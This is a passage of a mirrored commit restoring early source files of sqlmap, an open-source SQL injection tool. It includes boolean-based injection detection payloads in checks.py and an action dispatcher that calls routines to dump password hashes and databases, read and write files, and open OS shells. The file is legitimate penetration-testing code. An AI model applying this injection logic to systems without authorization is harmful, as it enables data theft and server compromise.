mirror of
https://github.com/sqlmapproject/sqlmap.git
synced 2026-01-18 12:29:02 +00:00
After the storm, a restore..
This commit is contained in:
25
lib/__init__.py
Normal file
25
lib/__init__.py
Normal file
@@ -0,0 +1,25 @@
|
||||
#!/usr/bin/env python
|
||||
|
||||
"""
|
||||
$Id: __init__.py 214 2008-07-14 14:17:06Z inquisb $
|
||||
|
||||
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
|
||||
|
||||
Copyright (c) 2006-2008 Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
||||
and Daniele Bellucci <daniele.bellucci@gmail.com>
|
||||
|
||||
sqlmap is free software; you can redistribute it and/or modify it under
|
||||
the terms of the GNU General Public License as published by the Free
|
||||
Software Foundation version 2 of the License.
|
||||
|
||||
sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY
|
||||
WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
|
||||
FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
|
||||
details.
|
||||
|
||||
You should have received a copy of the GNU General Public License along
|
||||
with sqlmap; if not, write to the Free Software Foundation, Inc., 51
|
||||
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
|
||||
"""
|
||||
|
||||
pass
|
||||
25
lib/contrib/__init__.py
Normal file
25
lib/contrib/__init__.py
Normal file
@@ -0,0 +1,25 @@
|
||||
#!/usr/bin/env python
|
||||
|
||||
"""
|
||||
$Id: __init__.py 214 2008-07-14 14:17:06Z inquisb $
|
||||
|
||||
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
|
||||
|
||||
Copyright (c) 2006-2008 Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
||||
and Daniele Bellucci <daniele.bellucci@gmail.com>
|
||||
|
||||
sqlmap is free software; you can redistribute it and/or modify it under
|
||||
the terms of the GNU General Public License as published by the Free
|
||||
Software Foundation version 2 of the License.
|
||||
|
||||
sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY
|
||||
WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
|
||||
FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
|
||||
details.
|
||||
|
||||
You should have received a copy of the GNU General Public License along
|
||||
with sqlmap; if not, write to the Free Software Foundation, Inc., 51
|
||||
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
|
||||
"""
|
||||
|
||||
pass
|
||||
97
lib/contrib/multipartpost.py
Normal file
97
lib/contrib/multipartpost.py
Normal file
@@ -0,0 +1,97 @@
|
||||
#!/usr/bin/env python
|
||||
|
||||
"""
|
||||
$Id: multipartpost.py 316 2008-08-03 22:56:20Z inquisb $
|
||||
|
||||
02/2006 Will Holcomb <wholcomb@gmail.com>
|
||||
|
||||
This library is free software; you can redistribute it and/or
|
||||
modify it under the terms of the GNU Lesser General Public
|
||||
License as published by the Free Software Foundation; either
|
||||
version 2.1 of the License, or (at your option) any later version.
|
||||
|
||||
This library is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
|
||||
Lesser General Public License for more details.
|
||||
"""
|
||||
|
||||
|
||||
|
||||
import mimetools
|
||||
import mimetypes
|
||||
import os
|
||||
import stat
|
||||
import sys
|
||||
import urllib
|
||||
import urllib2
|
||||
|
||||
from lib.core.exception import sqlmapDataException
|
||||
|
||||
|
||||
class Callable:
|
||||
def __init__(self, anycallable):
|
||||
self.__call__ = anycallable
|
||||
|
||||
|
||||
# Controls how sequences are uncoded. If true, elements may be given
|
||||
# multiple values by assigning a sequence.
|
||||
doseq = 1
|
||||
|
||||
|
||||
class MultipartPostHandler(urllib2.BaseHandler):
|
||||
handler_order = urllib2.HTTPHandler.handler_order - 10 # needs to run first
|
||||
|
||||
def http_request(self, request):
|
||||
data = request.get_data()
|
||||
if data is not None and type(data) != str:
|
||||
v_files = []
|
||||
v_vars = []
|
||||
try:
|
||||
for(key, value) in data.items():
|
||||
if type(value) == file:
|
||||
v_files.append((key, value))
|
||||
else:
|
||||
v_vars.append((key, value))
|
||||
except TypeError:
|
||||
systype, value, traceback = sys.exc_info()
|
||||
raise sqlmapDataException, "not a valid non-string sequence or mapping object", traceback
|
||||
|
||||
if len(v_files) == 0:
|
||||
data = urllib.urlencode(v_vars, doseq)
|
||||
else:
|
||||
boundary, data = self.multipart_encode(v_vars, v_files)
|
||||
contenttype = 'multipart/form-data; boundary=%s' % boundary
|
||||
#if (request.has_header('Content-Type') and request.get_header('Content-Type').find('multipart/form-data') != 0):
|
||||
# print "Replacing %s with %s" % (request.get_header('content-type'), 'multipart/form-data')
|
||||
request.add_unredirected_header('Content-Type', contenttype)
|
||||
|
||||
request.add_data(data)
|
||||
return request
|
||||
|
||||
|
||||
def multipart_encode(vars, files, boundary = None, buffer = None):
|
||||
if boundary is None:
|
||||
boundary = mimetools.choose_boundary()
|
||||
if buffer is None:
|
||||
buffer = ''
|
||||
for(key, value) in vars:
|
||||
buffer += '--%s\r\n' % boundary
|
||||
buffer += 'Content-Disposition: form-data; name="%s"' % key
|
||||
buffer += '\r\n\r\n' + value + '\r\n'
|
||||
for(key, fd) in files:
|
||||
file_size = os.fstat(fd.fileno())[stat.ST_SIZE]
|
||||
filename = fd.name.split('/')[-1]
|
||||
contenttype = mimetypes.guess_type(filename)[0] or 'application/octet-stream'
|
||||
buffer += '--%s\r\n' % boundary
|
||||
buffer += 'Content-Disposition: form-data; name="%s"; filename="%s"\r\n' % (key, filename)
|
||||
buffer += 'Content-Type: %s\r\n' % contenttype
|
||||
# buffer += 'Content-Length: %s\r\n' % file_size
|
||||
fd.seek(0)
|
||||
buffer += '\r\n' + fd.read() + '\r\n'
|
||||
buffer += '--%s--\r\n\r\n' % boundary
|
||||
return boundary, buffer
|
||||
multipart_encode = Callable(multipart_encode)
|
||||
|
||||
https_request = http_request
|
||||
|
||||
25
lib/controller/__init__.py
Normal file
25
lib/controller/__init__.py
Normal file
@@ -0,0 +1,25 @@
|
||||
#!/usr/bin/env python
|
||||
|
||||
"""
|
||||
$Id: __init__.py 214 2008-07-14 14:17:06Z inquisb $
|
||||
|
||||
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
|
||||
|
||||
Copyright (c) 2006-2008 Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
||||
and Daniele Bellucci <daniele.bellucci@gmail.com>
|
||||
|
||||
sqlmap is free software; you can redistribute it and/or modify it under
|
||||
the terms of the GNU General Public License as published by the Free
|
||||
Software Foundation version 2 of the License.
|
||||
|
||||
sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY
|
||||
WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
|
||||
FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
|
||||
details.
|
||||
|
||||
You should have received a copy of the GNU General Public License along
|
||||
with sqlmap; if not, write to the Free Software Foundation, Inc., 51
|
||||
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
|
||||
"""
|
||||
|
||||
pass
|
||||
126
lib/controller/action.py
Normal file
126
lib/controller/action.py
Normal file
@@ -0,0 +1,126 @@
|
||||
#!/usr/bin/env python
|
||||
|
||||
"""
|
||||
$Id: action.py 293 2008-07-28 21:56:52Z inquisb $
|
||||
|
||||
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
|
||||
|
||||
Copyright (c) 2006-2008 Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
||||
and Daniele Bellucci <daniele.bellucci@gmail.com>
|
||||
|
||||
sqlmap is free software; you can redistribute it and/or modify it under
|
||||
the terms of the GNU General Public License as published by the Free
|
||||
Software Foundation version 2 of the License.
|
||||
|
||||
sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY
|
||||
WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
|
||||
FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
|
||||
details.
|
||||
|
||||
You should have received a copy of the GNU General Public License along
|
||||
with sqlmap; if not, write to the Free Software Foundation, Inc., 51
|
||||
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
|
||||
"""
|
||||
|
||||
|
||||
|
||||
from lib.controller.handler import setHandler
|
||||
from lib.core.common import getHtmlErrorFp
|
||||
from lib.core.data import conf
|
||||
from lib.core.data import kb
|
||||
from lib.core.dump import dumper
|
||||
from lib.core.exception import sqlmapUnsupportedDBMSException
|
||||
from lib.core.settings import SUPPORTED_DBMS
|
||||
from lib.techniques.inband.union.test import unionTest
|
||||
|
||||
|
||||
def action():
|
||||
"""
|
||||
This function exploit the SQL injection on the affected
|
||||
url parameter and extract requested data from the
|
||||
back-end database management system or operating system
|
||||
if possible
|
||||
"""
|
||||
|
||||
# First of all we have to identify the back-end database management
|
||||
# system to be able to go ahead with the injection
|
||||
conf.dbmsHandler = setHandler()
|
||||
|
||||
if not conf.dbmsHandler:
|
||||
htmlParsed = getHtmlErrorFp()
|
||||
|
||||
errMsg = "sqlmap was not able to fingerprint the "
|
||||
errMsg += "back-end database management system"
|
||||
|
||||
if htmlParsed:
|
||||
errMsg += ", but from the HTML error page it was "
|
||||
errMsg += "possible to determinate that the "
|
||||
errMsg += "back-end DBMS is %s" % htmlParsed
|
||||
|
||||
if htmlParsed and htmlParsed.lower() in SUPPORTED_DBMS:
|
||||
errMsg += ". Do not specify the back-end DBMS manually, "
|
||||
errMsg += "sqlmap will fingerprint the DBMS for you"
|
||||
else:
|
||||
errMsg += ". Support for this DBMS will be implemented if "
|
||||
errMsg += "you ask, just drop us an email"
|
||||
|
||||
raise sqlmapUnsupportedDBMSException, errMsg
|
||||
|
||||
print "back-end DBMS:\t%s\n" % conf.dbmsHandler.getFingerprint()
|
||||
|
||||
# Miscellaneous options
|
||||
if conf.unionTest:
|
||||
dumper.string("valid union", unionTest())
|
||||
|
||||
# Enumeration options
|
||||
if conf.getBanner:
|
||||
dumper.string("banner", conf.dbmsHandler.getBanner())
|
||||
|
||||
if conf.getCurrentUser:
|
||||
dumper.string("current user", conf.dbmsHandler.getCurrentUser())
|
||||
|
||||
if conf.getCurrentDb:
|
||||
dumper.string("current database", conf.dbmsHandler.getCurrentDb())
|
||||
|
||||
if conf.getUsers:
|
||||
dumper.lister("database management system users", conf.dbmsHandler.getUsers())
|
||||
|
||||
if conf.getPasswordHashes:
|
||||
dumper.userSettings("database management system users password hashes",
|
||||
conf.dbmsHandler.getPasswordHashes(), "password hash")
|
||||
|
||||
if conf.getPrivileges:
|
||||
dumper.userSettings("database management system users privileges",
|
||||
conf.dbmsHandler.getPrivileges(), "privilege")
|
||||
|
||||
if conf.getDbs:
|
||||
dumper.lister("available databases", conf.dbmsHandler.getDbs())
|
||||
|
||||
if conf.getTables:
|
||||
dumper.dbTables(conf.dbmsHandler.getTables())
|
||||
|
||||
if conf.getColumns:
|
||||
dumper.dbTableColumns(conf.dbmsHandler.getColumns())
|
||||
|
||||
if conf.dumpTable:
|
||||
dumper.dbTableValues(conf.dbmsHandler.dumpTable())
|
||||
|
||||
if conf.dumpAll:
|
||||
conf.dbmsHandler.dumpAll()
|
||||
|
||||
if conf.query:
|
||||
dumper.string(conf.query, conf.dbmsHandler.sqlQuery(conf.query))
|
||||
|
||||
if conf.sqlShell:
|
||||
conf.dbmsHandler.sqlShell()
|
||||
|
||||
# File system options
|
||||
if conf.rFile:
|
||||
dumper.string(conf.rFile, conf.dbmsHandler.readFile(conf.rFile))
|
||||
|
||||
if conf.wFile:
|
||||
dumper.string(conf.wFile, conf.dbmsHandler.writeFile(conf.wFile))
|
||||
|
||||
# Takeover options
|
||||
if conf.osShell:
|
||||
conf.dbmsHandler.osShell()
|
||||
318
lib/controller/checks.py
Normal file
318
lib/controller/checks.py
Normal file
@@ -0,0 +1,318 @@
|
||||
#!/usr/bin/env python
|
||||
|
||||
"""
|
||||
$Id: checks.py 357 2008-09-21 18:52:16Z inquisb $
|
||||
|
||||
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
|
||||
|
||||
Copyright (c) 2006-2008 Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
||||
and Daniele Bellucci <daniele.bellucci@gmail.com>
|
||||
|
||||
sqlmap is free software; you can redistribute it and/or modify it under
|
||||
the terms of the GNU General Public License as published by the Free
|
||||
Software Foundation version 2 of the License.
|
||||
|
||||
sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY
|
||||
WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
|
||||
FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
|
||||
details.
|
||||
|
||||
You should have received a copy of the GNU General Public License along
|
||||
with sqlmap; if not, write to the Free Software Foundation, Inc., 51
|
||||
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
|
||||
"""
|
||||
|
||||
|
||||
|
||||
import time
|
||||
|
||||
from lib.controller.action import action
|
||||
from lib.core.agent import agent
|
||||
from lib.core.common import randomInt
|
||||
from lib.core.common import randomStr
|
||||
from lib.core.data import conf
|
||||
from lib.core.data import kb
|
||||
from lib.core.data import logger
|
||||
from lib.core.exception import sqlmapConnectionException
|
||||
from lib.core.session import setString
|
||||
from lib.request.connect import Connect as Request
|
||||
|
||||
|
||||
def checkSqlInjection(place, parameter, value, parenthesis):
|
||||
"""
|
||||
This function checks if the GET, POST, Cookie, User-Agent
|
||||
parameters are affected by a SQL injection vulnerability and
|
||||
identifies the type of SQL injection:
|
||||
|
||||
* Unescaped numeric injection
|
||||
* Single quoted string injection
|
||||
* Double quoted string injection
|
||||
"""
|
||||
|
||||
logMsg = "testing unescaped numeric injection "
|
||||
logMsg += "on %s parameter '%s'" % (place, parameter)
|
||||
logger.info(logMsg)
|
||||
|
||||
randInt = randomInt()
|
||||
randStr = randomStr()
|
||||
|
||||
payload = agent.payload(place, parameter, value, "%s%s AND %s%d=%d" % (value, ")" * parenthesis, "(" * parenthesis, randInt, randInt))
|
||||
trueResult = Request.queryPage(payload, place)
|
||||
|
||||
if trueResult == kb.defaultResult:
|
||||
payload = agent.payload(place, parameter, value, "%s%s AND %s%d=%d" % (value, ")" * parenthesis, "(" * parenthesis, randInt, randInt + 1))
|
||||
falseResult = Request.queryPage(payload, place)
|
||||
|
||||
if falseResult != kb.defaultResult:
|
||||
logMsg = "confirming unescaped numeric injection "
|
||||
logMsg += "on %s parameter '%s'" % (place, parameter)
|
||||
logger.info(logMsg)
|
||||
|
||||
payload = agent.payload(place, parameter, value, "%s%s AND %s%s" % (value, ")" * parenthesis, "(" * parenthesis, randStr))
|
||||
falseResult = Request.queryPage(payload, place)
|
||||
|
||||
if falseResult != kb.defaultResult:
|
||||
logMsg = "%s parameter '%s' is " % (place, parameter)
|
||||
logMsg += "unescaped numeric injectable "
|
||||
logMsg += "with %d parenthesis" % parenthesis
|
||||
logger.info(logMsg)
|
||||
|
||||
return "numeric"
|
||||
|
||||
logMsg = "%s parameter '%s' is not " % (place, parameter)
|
||||
logMsg += "unescaped numeric injectable"
|
||||
logger.info(logMsg)
|
||||
|
||||
logMsg = "testing single quoted string injection "
|
||||
logMsg += "on %s parameter '%s'" % (place, parameter)
|
||||
logger.info(logMsg)
|
||||
|
||||
payload = agent.payload(place, parameter, value, "%s'%s AND %s'%s'='%s" % (value, ")" * parenthesis, "(" * parenthesis, randStr, randStr))
|
||||
trueResult = Request.queryPage(payload, place)
|
||||
|
||||
if trueResult == kb.defaultResult:
|
||||
payload = agent.payload(place, parameter, value, "%s'%s AND %s'%s'='%s" % (value, ")" * parenthesis, "(" * parenthesis, randStr, randStr + 'A'))
|
||||
falseResult = Request.queryPage(payload, place)
|
||||
|
||||
if falseResult != kb.defaultResult:
|
||||
logMsg = "confirming single quoted string injection "
|
||||
logMsg += "on %s parameter '%s'" % (place, parameter)
|
||||
logger.info(logMsg)
|
||||
|
||||
payload = agent.payload(place, parameter, value, "%s'%s and %s%s" % (value, ")" * parenthesis, "(" * parenthesis, randStr))
|
||||
falseResult = Request.queryPage(payload, place)
|
||||
|
||||
if falseResult != kb.defaultResult:
|
||||
logMsg = "%s parameter '%s' is " % (place, parameter)
|
||||
logMsg += "single quoted string injectable "
|
||||
logMsg += "with %d parenthesis" % parenthesis
|
||||
logger.info(logMsg)
|
||||
|
||||
return "stringsingle"
|
||||
|
||||
logMsg = "%s parameter '%s' is not " % (place, parameter)
|
||||
logMsg += "single quoted string injectable"
|
||||
logger.info(logMsg)
|
||||
|
||||
logMsg = "testing LIKE single quoted string injection "
|
||||
logMsg += "on %s parameter '%s'" % (place, parameter)
|
||||
logger.info(logMsg)
|
||||
|
||||
payload = agent.payload(place, parameter, value, "%s'%s AND %s'%s' LIKE '%s" % (value, ")" * parenthesis, "(" * parenthesis, randStr, randStr))
|
||||
trueResult = Request.queryPage(payload, place)
|
||||
|
||||
if trueResult == kb.defaultResult:
|
||||
payload = agent.payload(place, parameter, value, "%s'%s AND %s'%s' LIKE '%s" % (value, ")" * parenthesis, "(" * parenthesis, randStr, randStr + 'A'))
|
||||
falseResult = Request.queryPage(payload, place)
|
||||
|
||||
if falseResult != kb.defaultResult:
|
||||
logMsg = "confirming LIKE single quoted string injection "
|
||||
logMsg += "on %s parameter '%s'" % (place, parameter)
|
||||
logger.info(logMsg)
|
||||
|
||||
payload = agent.payload(place, parameter, value, "%s'%s and %s%s" % (value, ")" * parenthesis, "(" * parenthesis, randStr))
|
||||
falseResult = Request.queryPage(payload, place)
|
||||
|
||||
if falseResult != kb.defaultResult:
|
||||
logMsg = "%s parameter '%s' is " % (place, parameter)
|
||||
logMsg += "LIKE single quoted string injectable "
|
||||
logMsg += "with %d parenthesis" % parenthesis
|
||||
logger.info(logMsg)
|
||||
|
||||
return "likesingle"
|
||||
|
||||
logMsg = "%s parameter '%s' is not " % (place, parameter)
|
||||
logMsg += "LIKE single quoted string injectable"
|
||||
logger.info(logMsg)
|
||||
|
||||
logMsg = "testing double quoted string injection "
|
||||
logMsg += "on %s parameter '%s'" % (place, parameter)
|
||||
logger.info(logMsg)
|
||||
|
||||
payload = agent.payload(place, parameter, value, "%s\"%s AND %s\"%s\"=\"%s" % (value, ")" * parenthesis, "(" * parenthesis, randStr, randStr))
|
||||
trueResult = Request.queryPage(payload, place)
|
||||
|
||||
if trueResult == kb.defaultResult:
|
||||
payload = agent.payload(place, parameter, value, "%s\"%s AND %s\"%s\"=\"%s" % (value, ")" * parenthesis, "(" * parenthesis, randStr, randStr + 'A'))
|
||||
falseResult = Request.queryPage(payload, place)
|
||||
|
||||
if falseResult != kb.defaultResult:
|
||||
logMsg = "confirming double quoted string injection "
|
||||
logMsg += "on %s parameter '%s'" % (place, parameter)
|
||||
logger.info(logMsg)
|
||||
|
||||
payload = agent.payload(place, parameter, value, "%s\"%s AND %s%s" % (value, ")" * parenthesis, "(" * parenthesis, randStr))
|
||||
falseResult = Request.queryPage(payload, place)
|
||||
|
||||
if falseResult != kb.defaultResult:
|
||||
logMsg = "%s parameter '%s' is " % (place, parameter)
|
||||
logMsg += "double quoted string injectable "
|
||||
logMsg += "with %d parenthesis" % parenthesis
|
||||
logger.info(logMsg)
|
||||
|
||||
return "stringdouble"
|
||||
|
||||
logMsg = "%s parameter '%s' is not " % (place, parameter)
|
||||
logMsg += "double quoted string injectable"
|
||||
logger.info(logMsg)
|
||||
|
||||
logMsg = "testing LIKE double quoted string injection "
|
||||
logMsg += "on %s parameter '%s'" % (place, parameter)
|
||||
logger.info(logMsg)
|
||||
|
||||
payload = agent.payload(place, parameter, value, "%s\"%s AND %s\"%s\" LIKE \"%s" % (value, ")" * parenthesis, "(" * parenthesis, randStr, randStr))
|
||||
trueResult = Request.queryPage(payload, place)
|
||||
|
||||
if trueResult == kb.defaultResult:
|
||||
payload = agent.payload(place, parameter, value, "%s\"%s AND %s\"%s\" LIKE \"%s" % (value, ")" * parenthesis, "(" * parenthesis, randStr, randStr + 'A'))
|
||||
falseResult = Request.queryPage(payload, place)
|
||||
|
||||
if falseResult != kb.defaultResult:
|
||||
logMsg = "confirming LIKE double quoted string injection "
|
||||
logMsg += "on %s parameter '%s'" % (place, parameter)
|
||||
logger.info(logMsg)
|
||||
|
||||
payload = agent.payload(place, parameter, value, "%s\"%s and %s%s" % (value, ")" * parenthesis, "(" * parenthesis, randStr))
|
||||
falseResult = Request.queryPage(payload, place)
|
||||
|
||||
if falseResult != kb.defaultResult:
|
||||
logMsg = "%s parameter '%s' is " % (place, parameter)
|
||||
logMsg += "LIKE double quoted string injectable "
|
||||
logMsg += "with %d parenthesis" % parenthesis
|
||||
logger.info(logMsg)
|
||||
|
||||
return "likedouble"
|
||||
|
||||
logMsg = "%s parameter '%s' is not " % (place, parameter)
|
||||
logMsg += "LIKE double quoted string injectable"
|
||||
logger.info(logMsg)
|
||||
|
||||
return None
|
||||
|
||||
|
||||
def checkDynParam(place, parameter, value):
|
||||
"""
|
||||
This function checks if the url parameter is dynamic. If it is
|
||||
dynamic, the content of the page differs, otherwise the
|
||||
dynamicity might depend on another parameter.
|
||||
"""
|
||||
|
||||
logMsg = "testing if %s parameter '%s' is dynamic" % (place, parameter)
|
||||
logger.info(logMsg)
|
||||
|
||||
randInt = randomInt()
|
||||
payload = agent.payload(place, parameter, value, str(randInt))
|
||||
dynResult1 = Request.queryPage(payload, place)
|
||||
|
||||
if kb.defaultResult == dynResult1:
|
||||
return False
|
||||
|
||||
logMsg = "confirming that %s parameter '%s' is dynamic" % (place, parameter)
|
||||
logger.info(logMsg)
|
||||
|
||||
payload = agent.payload(place, parameter, value, "'%s" % randomStr())
|
||||
dynResult2 = Request.queryPage(payload, place)
|
||||
|
||||
payload = agent.payload(place, parameter, value, "\"%s" % randomStr())
|
||||
dynResult3 = Request.queryPage(payload, place)
|
||||
|
||||
condition = kb.defaultResult != dynResult2
|
||||
condition |= kb.defaultResult != dynResult3
|
||||
|
||||
return condition
|
||||
|
||||
|
||||
def checkStability():
|
||||
"""
|
||||
This function checks if the URL content is stable requesting the
|
||||
same page three times with a small delay within each request to
|
||||
assume that it is stable.
|
||||
|
||||
In case the content of the page differs when requesting
|
||||
the same page, the dynamicity might depend on other parameters,
|
||||
like for instance string matching (--string).
|
||||
"""
|
||||
|
||||
logMsg = "testing if the url is stable, wait a few seconds"
|
||||
logger.info(logMsg)
|
||||
|
||||
firstResult = Request.queryPage()
|
||||
time.sleep(0.5)
|
||||
|
||||
secondResult = Request.queryPage()
|
||||
time.sleep(0.5)
|
||||
|
||||
thirdResult = Request.queryPage()
|
||||
|
||||
condition = firstResult == secondResult
|
||||
condition &= secondResult == thirdResult
|
||||
|
||||
return condition
|
||||
|
||||
|
||||
def checkString():
|
||||
if not conf.string:
|
||||
return True
|
||||
|
||||
condition = (
|
||||
kb.resumedQueries.has_key(conf.url) and
|
||||
kb.resumedQueries[conf.url].has_key("String") and
|
||||
kb.resumedQueries[conf.url]["String"][:-1] == conf.string
|
||||
)
|
||||
|
||||
if condition:
|
||||
return True
|
||||
|
||||
logMsg = "testing if the provided string is within the "
|
||||
logMsg += "target URL page content"
|
||||
logger.info(logMsg)
|
||||
|
||||
page = Request.queryPage(content=True)
|
||||
|
||||
if conf.string in page:
|
||||
setString()
|
||||
return True
|
||||
else:
|
||||
errMsg = "you provided '%s' as the string to " % conf.string
|
||||
errMsg += "match, but such a string is not within the target "
|
||||
errMsg += "URL page content, please provide another string."
|
||||
logger.error(errMsg)
|
||||
|
||||
return False
|
||||
|
||||
|
||||
def checkConnection():
|
||||
logMsg = "testing connection to the target url"
|
||||
logger.info(logMsg)
|
||||
|
||||
try:
|
||||
kb.defaultResult = Request.queryPage()
|
||||
except sqlmapConnectionException, exceptionMsg:
|
||||
if conf.googleDork:
|
||||
exceptionMsg += ", skipping to next url"
|
||||
logger.warn(exceptionMsg)
|
||||
return False
|
||||
else:
|
||||
raise sqlmapConnectionException, exceptionMsg
|
||||
|
||||
return True
|
||||
242
lib/controller/controller.py
Normal file
242
lib/controller/controller.py
Normal file
@@ -0,0 +1,242 @@
|
||||
#!/usr/bin/env python
|
||||
|
||||
"""
|
||||
$Id: controller.py 368 2008-09-30 00:09:59Z inquisb $
|
||||
|
||||
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
|
||||
|
||||
Copyright (c) 2006-2008 Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
||||
and Daniele Bellucci <daniele.bellucci@gmail.com>
|
||||
|
||||
sqlmap is free software; you can redistribute it and/or modify it under
|
||||
the terms of the GNU General Public License as published by the Free
|
||||
Software Foundation version 2 of the License.
|
||||
|
||||
sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY
|
||||
WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
|
||||
FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
|
||||
details.
|
||||
|
||||
You should have received a copy of the GNU General Public License along
|
||||
with sqlmap; if not, write to the Free Software Foundation, Inc., 51
|
||||
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
|
||||
"""
|
||||
|
||||
|
||||
|
||||
from lib.controller.action import action
|
||||
from lib.controller.checks import checkSqlInjection
|
||||
from lib.controller.checks import checkDynParam
|
||||
from lib.controller.checks import checkStability
|
||||
from lib.controller.checks import checkString
|
||||
from lib.controller.checks import checkConnection
|
||||
from lib.core.common import paramToDict
|
||||
from lib.core.common import readInput
|
||||
from lib.core.data import conf
|
||||
from lib.core.data import kb
|
||||
from lib.core.data import logger
|
||||
from lib.core.exception import sqlmapConnectionException
|
||||
from lib.core.exception import sqlmapNotVulnerableException
|
||||
from lib.core.session import setInjection
|
||||
from lib.core.target import createTargetDirs
|
||||
from lib.core.target import initTargetEnv
|
||||
from lib.utils.parenthesis import checkForParenthesis
|
||||
|
||||
|
||||
def __selectInjection(injData):
|
||||
"""
|
||||
Selection function for injection place, parameters and type.
|
||||
"""
|
||||
|
||||
message = "there were multiple injection points, please select the "
|
||||
message += "one to use to go ahead:\n"
|
||||
|
||||
for i in xrange(0, len(injData)):
|
||||
injPlace = injData[i][0]
|
||||
injParameter = injData[i][1]
|
||||
injType = injData[i][2]
|
||||
|
||||
message += "[%d] place: %s, parameter: " % (i, injPlace)
|
||||
message += "%s, type: %s" % (injParameter, injType)
|
||||
|
||||
if i == 0:
|
||||
message += " (default)"
|
||||
|
||||
message += "\n"
|
||||
|
||||
message += "[q] Quit\nChoice: "
|
||||
select = readInput(message, default="0")
|
||||
|
||||
if not select:
|
||||
index = 0
|
||||
|
||||
elif select.isdigit() and int(select) < len(injData) and int(select) >= 0:
|
||||
index = int(select)
|
||||
|
||||
elif select[0] in ( "Q", "q" ):
|
||||
return "Quit"
|
||||
|
||||
else:
|
||||
warnMsg = "Invalid choice, retry"
|
||||
logger.warn(warnMsg)
|
||||
__selectInjection(injData)
|
||||
|
||||
return injData[index]
|
||||
|
||||
|
||||
def start():
|
||||
"""
|
||||
This function calls a function that performs checks on both URL
|
||||
stability and all GET, POST, Cookie and User-Agent parameters to
|
||||
check if they are dynamic and SQL injection affected
|
||||
"""
|
||||
|
||||
if conf.url:
|
||||
kb.targetUrls.add(conf.url)
|
||||
|
||||
if conf.configFile and not kb.targetUrls:
|
||||
errMsg = "you did not edit the configuration file properly, set "
|
||||
errMsg += "the target url properly"
|
||||
logger.error(errMsg)
|
||||
|
||||
hostCount = 0
|
||||
injData = []
|
||||
receivedCookies = []
|
||||
cookieStr = ""
|
||||
setCookieAsInjectable = True
|
||||
|
||||
for targetUrl in kb.targetUrls:
|
||||
if conf.googleDork:
|
||||
hostCount += 1
|
||||
|
||||
message = "url %d: %s, " % (hostCount, targetUrl)
|
||||
message += "do you want to test this url? [Y/n/q] "
|
||||
test = readInput(message, default="Y")
|
||||
|
||||
if test[0] in ("n", "N"):
|
||||
continue
|
||||
elif test[0] in ("q", "Q"):
|
||||
break
|
||||
|
||||
logMsg = "testing url %s" % targetUrl
|
||||
logger.info(logMsg)
|
||||
|
||||
conf.url = targetUrl
|
||||
initTargetEnv()
|
||||
|
||||
if not checkConnection() or not checkString():
|
||||
continue
|
||||
|
||||
for _, cookie in enumerate(conf.cj):
|
||||
cookie = str(cookie)
|
||||
index = cookie.index(" for ")
|
||||
|
||||
cookieStr += "%s;" % cookie[8:index]
|
||||
|
||||
if cookieStr:
|
||||
cookieStr = cookieStr[:-1]
|
||||
|
||||
if "Cookie" in conf.parameters:
|
||||
message = "you provided an HTTP Cookie header value. "
|
||||
message += "The target url provided its own Cookie within "
|
||||
message += "the HTTP Set-Cookie header. Do you want to "
|
||||
message += "continue using the HTTP Cookie values that "
|
||||
message += "you provided? [Y/n] "
|
||||
test = readInput(message, default="Y")
|
||||
|
||||
if not test or test[0] in ("y", "Y"):
|
||||
setCookieAsInjectable = False
|
||||
|
||||
if setCookieAsInjectable:
|
||||
conf.httpHeaders.append(("Cookie", cookieStr))
|
||||
conf.parameters["Cookie"] = cookieStr
|
||||
__paramDict = paramToDict("Cookie", cookieStr)
|
||||
|
||||
if __paramDict:
|
||||
conf.paramDict["Cookie"] = __paramDict
|
||||
__testableParameters = True
|
||||
|
||||
if not kb.injPlace or not kb.injParameter or not kb.injType:
|
||||
if not conf.string:
|
||||
if checkStability():
|
||||
logMsg = "url is stable"
|
||||
logger.info(logMsg)
|
||||
else:
|
||||
errMsg = "url is not stable, try with --string option, refer "
|
||||
errMsg += "to the user's manual paragraph 'String match' "
|
||||
errMsg += "for details"
|
||||
|
||||
if conf.googleDork:
|
||||
errMsg += ", skipping to next url"
|
||||
logger.warn(errMsg)
|
||||
|
||||
continue
|
||||
else:
|
||||
raise sqlmapConnectionException, errMsg
|
||||
|
||||
for place in conf.parameters.keys():
|
||||
if not conf.paramDict.has_key(place):
|
||||
continue
|
||||
|
||||
paramDict = conf.paramDict[place]
|
||||
|
||||
for parameter, value in paramDict.items():
|
||||
